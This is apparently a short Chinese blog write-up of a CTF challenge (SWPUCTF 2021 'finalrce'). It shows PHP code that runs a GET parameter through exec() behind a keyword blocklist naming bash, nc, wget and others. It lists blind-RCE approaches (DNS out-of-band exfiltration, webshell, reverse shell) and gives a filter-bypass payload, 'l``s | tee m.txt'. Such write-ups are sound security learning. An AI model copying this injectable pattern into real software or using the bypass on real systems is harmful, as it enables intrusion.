[SWPUCTF 2021 新生赛]finalrce(命令执行无回显rce)

<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
}

命令执行无回显rce思路:

1.利用dnslog带外

2.写马

3.反弹shell

4.写文件然后访问文件

该题目我们利用第四个,但由于题目中过滤了 > 符号,因此我们利用tee命令

l``s | tee m.txt

 

posted @ 2022-10-09 22:32  hithub  阅读(585)  评论(0编辑  收藏  举报